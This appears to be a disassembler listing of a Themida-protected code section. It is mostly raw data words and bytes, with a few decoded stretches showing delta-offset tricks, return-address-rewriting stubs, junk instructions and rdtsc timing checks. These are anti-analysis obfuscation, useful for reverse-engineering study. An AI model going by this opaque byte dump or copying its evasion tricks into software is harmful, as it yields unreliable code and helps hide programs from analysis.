dd 238D71D7h, 7E4E2C4Ah, 27A91DBCh, 27A9351Bh, 238D7154h
dd 914E24E3h, 6B5DD07h, 3908FC71h, 0A28ADAACh, 0CF824988h
dd 23999841h, 3EBD719Ah, 6A759C30h, 5ED41A10h, 10CF63A2h
dd 0C9635DAAh, 0F3725152h, 0AA7BA8EAh, 8BA91CB0h, 728D1B9Dh
dd 238D72A5h, 0E0D451A6h, 7C1F80Ah, 7C9F0ADh, 238D6DD0h
dd 0E0DC306Ah, 0D1653E41h, 96A70427h, 960420D7h, 24257D67h
dd 3A08B709h, 608AD9AFh, 76CFC5Fh, 276576C2h, 0B8D7135h
dd 4331E1EAh, 238B982Dh, 682F71A6h, 99616C0Ah, 95E93B13h
dd 45ED109Fh, 424565D0h, 71DD2154h, 1E93C8FCh, 71DD4042h
dd 9DEB40A9h, 7BD7372Ah, 670629F3h, 0A8EB75F0h, 0AA8DFABDh
dd 7B895571h, 9672B910h, 24257DACh, 0CBDB71CCh, 238D7150h
dd 7D4E2F89h, 27A9055Dh, 27A935EBh, 238D7120h, 0AA4E27DCh
dd 160078E1h, 0CA8AD98Fh, 238D7143h, 60363EF4h, 0BBF4C099h
dd 0D3259464h, 0D6DCB56Ch, 5B97F417h, 23E776E6h, 238E99F3h
dd 7EAD7153h, 4F042C6Ah, 670C75F0h, 2391754Eh, 76C87135h
dd 0B7A2D559h, 3D54792Fh, 0F37204B8h, 36B8E4D8h, 0A6047601h
dd 242542D1h, 1698F4E3h, 0A600769Dh, 2426CAA1h, 0CBDC7127h
dd 238D71A5h, 7A4E2873h, 27A93D20h, 27A93555h, 238D7177h
dd 0C74E2074h, 8B3F5C23h, 0D379A94Ah, 0A2822113h, 238D7153h
dd 0DCA97520h, 8B95C441h, 0F506116Dh, 2BE4FCBCh, 0A8EC7632h
dd 0AEE9C795h, 88365E23h, 718D1B54h, 238D7241h, 0E0D751D4h
dd 7D9F830h, 7C9F031h, 238D659Eh, 0E0DF334Dh, 0ED06E16Eh
dd 0F7341703h, 0A8EBE120h, 156FF02Dh, 0B08BC5CFh, 0E4B2CB53h
dd 0A08221CAh, 238D7157h, 238D654Eh, 58BCAF53h, 13D0A31Dh
dd 63AC6BFFh, 268F04EFh, 0E5F4967Bh, 0B0D32F87h, 0CBDC7127h
dd 238D71A5h, 7A4E2873h, 27A93D20h, 27A93555h, 238D7170h
dd 274E2074h, 5E97FF3h, 0A2EB699Dh, 0DCF36E79h, 8BAC10C6h
dd 718D1BAEh, 238D723Ch, 0E0D7516Ah, 7D9F86Fh, 7C9F09Eh
dd 238D6B49h, 0E0DF33A6h, 178BA589h, 0CA86E905h, 238D71D1h
dd 0F1EE2F35h, 7208F837h, 0E48AD9BCh, 8B862CC8h, 238D7EA1h
dd 768D1B53h, 238D7241h, 0E0D051D4h, 7E1F837h, 7C9F031h
dd 238D669Eh, 0E0D8344Dh, 744E8F6Bh, 5DCE4ACh, 94827601h
dd 0C608F82Eh, 2C8AD958h, 238D77B2h, 0FE38FA9Ah, 2C8AD961h
dd 0A606B811h, 2425401Ah, 0ED6EEC24h, 6004767Fh, 8230FC6Bh
dd 0AE8AD926h, 8843CC2Fh, 23BEC84Ah, 877E71A6h, 233542B8h
dd 288D71A9h, 0E18E0514h, 67067172h, 0CBDE7D11h, 238D719Ah
dd 344EF016h, 0AA8D71A6h, 0AA9D550Fh, 789955EDh, 9177466Ch
dd 0A86D8E6Ah, 0DC895571h, 718D1B7Ah, 238D72A5h, 0E0D751A6h
dd 7D9F809h, 7C9F0ADh, 238D6CD0h, 0E0DF336Ah, 0B76469E9h
dd 6751542Eh, 0A6A427B5h, 242561ABh, 30B7CF35h, 1230F8C8h
dd 438AD9F0h, 238D7D82h, 67FE9F35h, 21FF653Bh, 0F6FA9621h
dd 23839877h, 38EF7153h, 0BE7BBB03h, 0A90266F0h, 14FB13E8h
dd 9E00106Dh, 2426CAB5h, 0ECE4FCC0h, 1635760Dh, 101557F8h
dd 8B96942Ch, 0E2425AD3h, 423E711h, 0A9238E99h, 177CAD71h
dd 4E5F042Eh, 11670C75h, 9A239675h, 0E983CA71h, 8BA4F305h
dd 50006AD9h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h
dd 0C3504000h, 8280D739h, 8E8h, 7C9FCF00h, 39789F6Bh, 0F98D8B28h
dd 5907A81Dh, 21E9h, 6A61FC00h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 14042444h, 41000000h, 0F92DC351h, 0C08BF9C3h
dd 0FE9h, 0D13D2800h, 9728549Eh, 0A9C94280h, 51C64572h
dd 27F9BD83h, 750007A8h, 5BD8309h, 7A806h, 53501974h, 0B9B8C08Bh
dd 89000004h, 0A80ECD85h, 8A9D8D07h, 0FF07AAB0h, 83585BD3h
dd 0A80605BDh, 17740007h, 0B9B85350h, 89000004h, 0A80ECD85h
dd 2B9D8D07h, 0FF07AAADh, 0F9585BD3h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 18h, 27C35646h, 708F7DB7h, 0F2BF0F60h
dd 6159F957h, 10E9h, 8F1F300h, 58283F1Eh, 426E927Ch, 78817F7h
dd 0FC08BF8h, 184h, 8B40FC00h, 56006AC1h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 89B70C3Fh
dd 0A82AE98Dh, 4EB07h, 6A000000h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 7BE9C353h
dd 0BD89E4CCh, 7A80B61h, 425858Dh, 6A07A8h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 150424h, 57470000h, 81CA8BC3h
dd 0AA951BD7h, 5250507Fh, 0F616060h, 86h, 310F6100h, 0AE9h
dd 31D7E000h, 0CBF29632h, 5ADAB75Eh, 24048958h, 6AF3BF0Fh
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h
dd 0C3504000h, 8D858990h, 6607A80Bh, 3D4BF681h, 0B58B006Ah
dd 7A800A1h, 12E9h, 8A83EA00h, 0C757B43Eh, 8AB97BE4h, 4634100Ch
dd 8DFC95B3h, 0ABD2C485h, 57006A07h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 2ADFDE85h
dd 0CE8h, 6F650600h, 0BD72B164h, 137EFBF5h, 0C0835E33h
dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h
dd 0C3564600h, 74E8B1DAh, 11E9h, 55E2900h, 7E3C7D92h, 0E41B04EEh
dd 3A7D584Fh, 66905517h, 5034EBBEh, 0BE8h, 0A33CB000h
dd 4A4B0581h, 8A6E6AFFh, 0BE9h, 2FA93C00h, 8F113983h, 4047D164h
dd 0BD8B905Fh, 7A8087Dh, 6A006Ah, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1D0424h, 52420000h, 0BC2B92C3h, 8B50B8DFh
dd 6A6D589Fh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1A04h, 0C3514100h, 0DFDE857Bh, 8BBBD72Ah, 0A826E1B5h
dd 0DDB58B07h, 0FF07A832h, 0A81B3995h, 6E23BE07h, 9D8D6DFFh
dd 7AB9A3Bh, 155DBD23h, 0D3FF07A8h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 14h, 9EC35343h, 0FFF38B66h, 0A80EE585h
dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h
dd 0C3534300h, 48BEC931h, 6B7E95Ch, 0E80000h, 5D000000h
dd 0D2CEED81h, 54BF07ABh, 8115857Eh, 0A80B5DBDh, 7D007h
dd 44860F00h, 0E9000001h, 0Eh, 30ED25A7h, 883E769Bh, 0E1B4A0F4h
dd 9D8B5E0Dh, 7A82F31h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 17h, 0B7C35545h, 573F2EE1h, 2649BD8Bh, 815E07A8h
dd 100E3h, 0FDB0B00h, 9F85h, 9701BF00h, 0BD83783Fh, 7ABD0B2h
dd 38840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1C042444h, 45000000h, 3D50C355h, 319BC149h
dd 324728Eh, 0A82FC9B5h, 7DF68107h
dd 0E92683DAh, 8Ch, 0C7FBBF0Fh, 0ABD0B285h, 107h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
dd 41BA7177h, 81EFBD5h, 57E9h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 666565B4h
dd 6514EF81h, 0D0B285C7h, 7ABh, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 150424h, 55450000h, 0E9BA04C3h
dd 8, 74EC17BBh, 3D3D9C25h, 2F319D8Dh, 958907A8h, 7A829F9h
dd 0FEFF2381h, 890FFFFFh, 6, 2895B58Bh, 9DBE07A8h, 66190E92h
dd 8D89DB8Ch, 7A827DDh, 0F6F3BF0Fh, 840F04C3h, 7Dh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 35C35545h, 0B531A5FAh
dd 7A80F29h, 265195FFh, 6A07A8h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1C0424h, 53430000h, 322CA7C3h, 0CC7AEBC3h
dd 0B52B58D5h, 7A83229h, 11E850h, 0D790000h, 7E68E4E6h
dd 34695A62h, 0F84D68E9h, 8B66C229h, 4895EF2h, 68C0F24h
dd 89000000h, 0A82DE5BDh, 385E907h, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 88F2D5C3h
dd 0BD4DF798h, 11E9h, 83E28800h, 9463C8C2h, 8FD6A176h
dd 418DAB53h, 0B0D9A6h, 0FE9h, 88670E00h, 40D4EC77h, 40B5D8FEh
dd 0D3BBBFC9h, 0BD8970E6h, 7A82539h, 890F71E4h, 1, 57C681F9h
dd 0F2D3FA2h, 0BF0FD8B6h, 0D8589FAh, 0BA07A818h, 6, 6AC38Bh
dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
dd 0A9BD3EC3h, 8B5166AEh, 4E8C1F0h, 1D0D8589h, 0F76607A8h
dd 658D89E2h, 2B07A815h, 1800FD8h, 0F9000000h, 0AE850h
dd 42750000h, 0CB21276Ch, 849D9627h, 52505250h, 585A310Fh
dd 0FB8B310Fh, 895E585Ah, 6A241Ch, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 150424h, 56460000h, 66E9BBC3h, 0BF079BBFh
dd 15DE780Ch, 0FFFBBF0Fh, 0A80B5DB5h, 52006A07h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
dd 0CF816631h, 852926B8h, 7A80E91h, 0D2195FFh, 0B52907A8h
dd 7A81881h, 6A00B0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 180424h, 53430000h, 11551EC3h, 11E8AC13h, 80000000h
dd 0DA833A01h, 2393401Fh, 0E1D15618h, 0C844AC80h, 0F70E65Fh
dd 681h, 21BD8900h, 6007A833h, 4229E681h, 8D315DD0h, 7A81C99h
dd 0E971E461h, 8, 0CAF7510h, 0B1C93A87h, 830F613Ch, 1DFh
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 77C35747h
dd 0D8B60F59h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 19h, 77C35343h, 8BC15997h, 0F38B669Eh, 820Fh, 6BA0000h
dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1D042444h, 45000000h, 8C1EC355h, 1F41A496h, 73B59DA1h
dd 0BE66C38Bh, 0E8C19AE9h, 51006A04h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0EA7025E0h
dd 0B58BAFA8h, 7A82215h, 66E2F766h, 8BE140BEh, 8BD82BFAh
dd 0A82AE1BDh, 0F7815807h, 4644965Ch, 9E8h, 705A7300h
dd 195DC509h, 5EFC2056h, 880FD82Bh, 10Bh, 7B9h, 830F00h
dd 0F000000h, 0C183F8BFh, 798D8900h, 3B07A82Ah, 0EC860FD9h
dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 16042444h, 43000000h, 4882C353h, 6850F90h, 89000000h
dd 0A80B359Dh, 619D8907h, 8B07A80Bh, 0D98C66FEh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0F0C35545h, 34E69D18h
dd 8D9D894Ch, 307A830h, 0A81BA5B5h, 4C1F607h, 77840Fh
dd 0BD8B0000h, 7A805A9h, 265195FFh, 0B58B07A8h, 7A80ED1h
dd 29C5B58Bh, 665B07A8h, 2B61C6BEh, 0EE8166C3h, 343DF59Eh
dd 0F000008h, 4886h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1D04h, 0C3564600h, 687C2E4Ch, 0B045EC6h
dd 13E9B242h, 1D000000h, 44830CEBh, 2658D2B1h, 8DD4974Ch
dd 74D38B44h, 10E951F2h, 89000000h, 0A822358Dh, 8BC08B07h
dd 0DD9D89FBh, 8B07A80Bh, 89D88BC3h, 0A8247195h, 585C707h
dd 7907A82Bh, 6A14BE37h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1A042444h, 41000000h, 6341C351h, 0A6044B5Fh
dd 6AC08B26h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1A042444h, 42000000h, 9648C352h, 495B5068h, 0BD81F867h
dd 7A80B5Dh, 7D0h, 43850Fh, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0F65E28C3h
dd 0FF1DC5C9h, 0A80B5D85h, 52006A07h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 5DB5FFF8h
dd 6A07A80Bh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 19042444h, 42000000h, 9162C352h, 0FAA03ACCh, 5BC1CF81h
dd 95FF1DC6h, 7A80D21h, 14E9h, 0BBBD3000h, 0C3869FD9h
dd 6AE5C09Fh, 0E081047Ch, 24A622E3h, 78B890E6h, 6A123456h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h
dd 46000000h, 0DEFC356h, 0C0F29D0Ch, 8B66E1BEh, 459D8DF7h
dd 0E907ABD9h, 0FFFFF94Eh, 0E3F78166h, 66C18B14h, 6A0CEE81h
dd 4EBh, 0C6810000h, 27D51B1Ch, 15CE8166h, 25858D08h, 6A07A804h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h
dd 41000000h, 9994C351h, 0D499129h, 6090F5B6h, 67BE6653h
dd 30BB5EEEh, 61041990h, 8A0F50h, 90000000h, 89BD8952h
dd 5E07A835h, 0AE9h, 283D6900h, 0E60869E6h, 6A7C0449h
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h
dd 0C3534300h, 240F08D8h, 0A8A3D579h, 6830Fh, 0BD8B0000h
dd 7A80505h, 6AFAB70Fh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1804h, 0C3564600h, 5E189BE2h, 41BD89A6h
dd 8D07A80Ah, 0ABDB7285h, 51006A07h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 9B990663h
dd 98EB69h, 0CF8166AAh, 0C0838A59h, 50505005h, 0EE852h
dd 6DD0000h, 2F46E8E3h, 8FB77926h, 0D715E72Ah, 50310F5Fh
dd 5A310F52h, 5F585A58h, 6A240489h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 16042444h, 40000000h, 8142C350h
dd 0BE6660B6h, 8D897675h, 7A8006Dh, 6A006A61h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
dd 3CB8C357h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 180424h, 52420000h, 68768DC3h, 95FFCC30h, 7A81B39h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0CBC35242h
dd 2E159589h, 9D8D07A8h, 7AB9A3Bh, 365B58Bh, 0D3FF07A8h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 94C35141h
dd 0E585FFFAh, 0F07A80Eh, 687h, 99BD8900h, 0E907A821h
dd 0D9Bh
; ---------------------------------------------------------------------------
loc_5BEFE0: ; CODE XREF: Themida_:005BFD69j
call $+5
pop ebp
sub ebp, 7ABDB7Ch
push 0
push edi
call sub_5BEFF7
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BEFF7 proc near ; CODE XREF: Themida_:005BEFEFp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Bh
inc edi
push edi
retn
sub_5BEFF7 endp
; ---------------------------------------------------------------------------
db 8Dh ;
db 97h ; —
db 8Fh ;
db 0Ah
db 73h ; s
db 0A0h ;
db 3Dh ; =
db 19h
db 0Fh
db 85h ; …
db 11h
db 0
db 0
db 0
db 0E9h ; é
db 0Ch
db 0
db 0
db 0
db 51h ; Q
db 0C6h ; Æ
db 0A5h ; ¥
db 48h ; H
db 0EDh ; í
db 0D5h ; Õ
db 7Fh ;
db 3Eh ; >
db 57h ; W
db 0A1h ; ¡
db 0E5h ; å
db 0B1h ; ±
db 81h ;
db 0BDh ; ½
db 5Dh ; ]
db 0Bh
db 0A8h ; ¨
db 7
db 0D0h ; Ð
db 7
db 0
db 0
db 0Fh
db 86h ; †
db 31h ; 1
db 1
db 0
db 0
db 89h ; ‰
db 0B5h ; µ
db 0A1h ; ¡
db 3
db 0A8h ; ¨
db 7
db 8Bh ; ‹
db 9Dh ;
db 69h ; i
db 28h ; (
db 0A8h ; ¨
db 7
db 6Ah ; j
db 0
db 50h ; P
db 0E8h ; è
db 3
db 0
db 0
db 0
db 20h
db 58h ; X
db 0C3h ; Ã
db 58h ; X
db 89h ; ‰
db 44h ; D
db 24h ; $
db 4
db 81h ;
db 44h ; D
db 24h ; $
db 4
db 1Ah
db 0
db 0
db 0
db 40h ; @
db 50h ; P
db 0C3h ; Ã
db 0F8h ; ø
db 12h
db 43h ; C
db 5Ah ; Z
db 20h
db 88h ; ˆ
db 0B6h ; ¶
db 0E8h ; è
db 12h
db 0
db 0
db 0
db 39h ; 9
db 4Bh ; K
db 0CEh ; Î
db 7Ch ; |
db 88h ; ˆ
db 72h ; r
db 6Eh ; n
db 62h ; b
db 6Ah ; j
db 0D3h ; Ó
db 25h ; %
db 81h ;
db 37h ; 7
db 0D6h ; Ö
db 55h ; U
db 99h ; ™
db 88h ; ˆ
db 0C9h ; É
db 8Bh ; ‹
db 0BDh ; ½
db 39h ; 9
db 25h ; %
db 0A8h ; ¨
db 7
db 5Fh ; _
db 81h ;
db 0E3h ; ã
db 0
db 1
db 0
db 0
db 89h ; ‰
db 95h ; •
db 0A1h ; ¡
db 1Ch
db 0A8h ; ¨
db 7
db 66h ; f
db 0BFh ; ¿
db 56h ; V
db 24h ; $
db 0Bh
db 0DBh ; Û
db 0Fh
db 85h ; …
db 8Ch ; Œ
db 0
db 0
db 0
db 57h ; W
db 89h ; ‰
db 0BDh ; ½
db 0E9h ; é
db 28h ; (
db 0A8h ; ¨
db 7
db 5Eh ; ^
db 8Bh ; ‹
db 0B5h ; µ
db 71h ; q
db 10h
db 0A8h ; ¨
db 7
db 83h ; ƒ
db 0BDh ; ½
db 89h ; ‰
db 0D9h ; Ù
db 0ABh ; «
db 7
db 0
db 0Fh
db 84h ; „
db 30h ; 0
db 0
db 0
db 0
db 1
db 9Dh ;
db 69h ; i
db 1Eh
db 0A8h ; ¨
db 7
db 0E9h ; é
db 76h ; v
db 0
db 0
db 0
db 6Ah ; j
db 0
db 50h ; P
db 0E8h ; è
db 3
db 0
db 0
db 0
db 20h
db 58h ; X
db 0C3h ; Ã
db 58h ; X
db 89h ; ‰
db 44h ; D
db 24h ; $
db 4
db 81h ;
db 44h ; D
db 24h ; $
db 4
db 17h
db 0
db 0
db 0
db 40h ; @
db 50h ; P
db 0C3h ; Ã
db 8Dh ;
db 6Bh ; k
db 8Eh ; Ž
db 44h ; D
db 89h ; ‰
db 95h ; •
db 0E9h ; é
db 34h ; 4
db 0A8h ; ¨
db 7
db 0C7h ; Ç
db 85h ; …
db 89h ; ‰
db 0D9h ; Ù
db 0ABh ; «
db 7
db 1
db 0
db 0
db 0
db 0F9h ; ù
db 0E9h ; é
db 41h ; A
db 0
db 0
db 0
db 6Ah ; j
db 0
db 51h ; Q
db 0E8h ; è
db 3
db 0
db 0
db 0
db 20h
db 59h ; Y
db 0C3h ; Ã
db 59h ; Y
db 89h ; ‰
db 4Ch ; L
db 24h ; $
db 4
db 81h ;
db 44h ; D
db 24h ; $
db 4
db 16h
db 0
db 0
db 0
db 41h ; A
db 51h ; Q
db 0C3h ; Ã
db 0F0h ; ð
db 39h ; 9
db 70h ; p
db 0BFh ; ¿
db 3Dh ; =
db 5Fh ; _
db 0ECh ; ì
db 6
db 60h ; `
db 8Bh ; ‹
db 95h ; •
db 49h ; I
db 0Ah
db 0A8h ; ¨
db 7
db 8Bh ; ‹
db 8Dh ;
db 45h ; E
db 1Ah
db 0A8h ; ¨
db 7
db 61h ; a
db 0C7h ; Ç
db 85h ; …
db 89h ; ‰
db 0D9h ; Ù
db 0ABh ; «
db 7
db 0
db 0
db 0
db 0
; ---------------------------------------------------------------------------
jnb $+6
lea ebx, [ebp+7A82869h]
mov [ebp+7A82509h], eax
and dword ptr [ebx], 0FFFFFEFFh
push 0
push edi
call sub_5BF153
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF153 proc near ; CODE XREF: Themida_:005BF14Bp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 17h
inc edi
push edi
retn
sub_5BF153 endp
; ---------------------------------------------------------------------------
sub esi, edi
xchg ch, bl
mov bx, ds
push 0
push edx
call sub_5BF175
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF175 proc near ; CODE XREF: Themida_:005BF16Dp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_5BF175 endp
; ---------------------------------------------------------------------------
cmp dh, ch
adc bl, [esi]
cmp dword ptr [edx-75h], 0A82335BDh
pop es
test bl, 4
jz loc_5BF1E7
mov [ebp+7A81D15h], ebx
call dword ptr [ebp+7A82651h]
clc
nop
push eax
jmp loc_5BF1B6
; ---------------------------------------------------------------------------
dw 6559h
; ---------------------------------------------------------------------------
mov ch, al
push esi
add al, 43h
movsb
loc_5BF1B6: ; CODE XREF: Themida_:005BF1A9j
pop edi
push eax
mov esi, 66BF19C4h
nop
push 0
push edx
call sub_5BF1C9
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF1C9 proc near ; CODE XREF: Themida_:005BF1C1p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 17h
inc edx
push edx
retn
sub_5BF1C9 endp
; ---------------------------------------------------------------------------
db 92h, 0B3h, 0A1h
dd 0FF08B69h, 288h
db 0, 8Bh, 0FEh
; ---------------------------------------------------------------------------
loc_5BF1E7: ; CODE XREF: Themida_:005BF194j
jmp loc_5BF550
; ---------------------------------------------------------------------------
xor [ebp+7A81495h], edx
or [ebp+7A81A5Dh], ecx
mov al, 0
push 0
push ebx
call sub_5BF205
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF205 proc near ; CODE XREF: Themida_:005BF1FDp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_5BF205 endp
; ---------------------------------------------------------------------------
db 6Fh, 0Ah, 8Bh
dd 6A70E6FAh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 17042444h, 40000000h, 347AC350h, 0BD034D60h, 7A80045h
dd 6A71E4h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
dd 50400000h, 532F79C3h, 2D9EE84Bh, 6AD8B60Fh, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
dd 3ABC350h, 3890B7E4h, 50F6C7C9h, 372BC781h, 6BA5708h
dd 60000000h, 29358589h, 8D8B07A8h, 7A82141h, 66C38B61h
dd 0E8C1FE8Bh, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1504h, 0C3554500h, 8B66CED7h, 0E2F766F8h
dd 5E8h, 0E54A2900h, 0C781506Ch, 23F077C9h, 6870F5Eh, 8B000000h
dd 0A8145DB5h, 8BD82B07h, 61B531F1h, 9307A82Fh, 0EE9h
dd 0CD3A9300h, 189EED73h, 0F259960Bh, 50434644h, 0AA69F5BFh
dd 6A9372h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
dd 53430000h, 116A78C3h, 40B2F5DAh, 8165E781h, 0B5FF6E8Fh
dd 7A80B5Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Ch, 0ABC35343h, 0C9E88CB8h, 55832B97h, 3589B503h, 95FF07A8h
dd 7A80D21h, 6830Fh, 0BD8B0000h, 7A83315h, 6A00B0h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
dd 0D7CE34C3h, 279A807Fh, 8D0F1A8Fh, 3, 0E6F0BF0Fh, 57006A70h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
dd 0D7550CC5h, 65BD8B4Ch, 6607A818h, 0E44A3FBEh, 55006A71h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
dd 12E8043Ch, 44000000h, 0D11FB13Bh, 6BFD3188h, 0EF89B81Eh
dd 0C29228A9h, 0C5958981h, 5E07A830h, 3CF3BF0Fh, 31830F61h
dd 8B000001h, 0A83539BDh, 0D8B60F07h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ch, 10C35040h, 0F3795A92h, 0B88AAD2Fh
dd 6BAF78Bh, 0E9000000h, 0Ch, 0D9246FA5h, 0C12D8E32h, 4AA1A217h
dd 6AC38Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
dd 57470000h, 0E8C149C3h, 9958904h, 6607A806h, 0B50BE2F7h
dd 7A8100Dh, 0B58BD82Bh, 7A80C4Dh, 0B58D0158h, 2B07A808h
dd 0A5880FD8h, 9000000h, 0A830D19Dh, 7B907h, 6A0000h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
dd 0EB58CDC3h, 1E36B3F9h, 0E9359C9Dh, 0Ah, 3885C501h, 10498AE4h
dd 0C183C8ABh, 6810F00h, 8B000000h, 0A8247DBDh, 0FD93B07h
dd 4F86h, 65B58B00h, 6607A832h, 45BED98Ch, 0F67E43E4h
dd 840F04C1h, 30h, 265195FFh, 335B07A8h, 0A8186DB5h, 89C32B07h
dd 0A8251D9Dh, 8343D07h, 860F0000h, 10h, 6019501h, 0DE907A8h
dd 66000000h, 4503EE81h, 0BD0BC08Bh, 7A81B69h
; ---------------------------------------------------------------------------
loc_5BF550: ; CODE XREF: Themida_:loc_5BF1E7j
mov eax, ebx
mov ebx, eax
push 0
push edx
call sub_5BF55F
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF55F proc near ; CODE XREF: Themida_:005BF557p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Bh
inc edx
push edx
retn
sub_5BF55F endp
; ---------------------------------------------------------------------------
db 75h
dd 0E1FB36F6h, 6028350Ah, 23BF6660h, 0C08166FFh, 8B614036h
dd 8E0F61CFh, 0
; ---------------------------------------------------------------------------
mov dword ptr [ebp+7A82F31h], 7621DD73h
push 0
push edx
call sub_5BF5A1
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF5A1 proc near ; CODE XREF: Themida_:005BF599p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 17h
inc edx
push edx
retn
sub_5BF5A1 endp
; ---------------------------------------------------------------------------
adc [ebp-4A74DBA5h], bh
jge short near ptr loc_5BF5C0+4
test al, 7
mov eax, eax
push 0
push ebp
loc_5BF5C0: ; CODE XREF: Themida_:005BF5B7j
call sub_5BF5C8
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF5C8 proc near ; CODE XREF: Themida_:loc_5BF5C0p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 15h
inc ebp
push ebp
retn
sub_5BF5C8 endp
; ---------------------------------------------------------------------------
dd 0BE66B32Fh, 0BD81A4F1h, 7A80B5Dh, 7D0h, 48850Fh, 6A0000h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
dd 0E781B6C3h, 2EAAD577h, 0B5D85FFh, 6A07A8h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 180424h, 57470000h, 8C7BA9C3h
dd 0B5FF467Dh, 7A80B5Dh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 16h, 10C35040h, 95099956h, 7A82411h, 0D2195FFh
dd 0BD3107A8h, 7A80621h, 3315B589h, 409007A8h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 39C35343h, 591A7324h
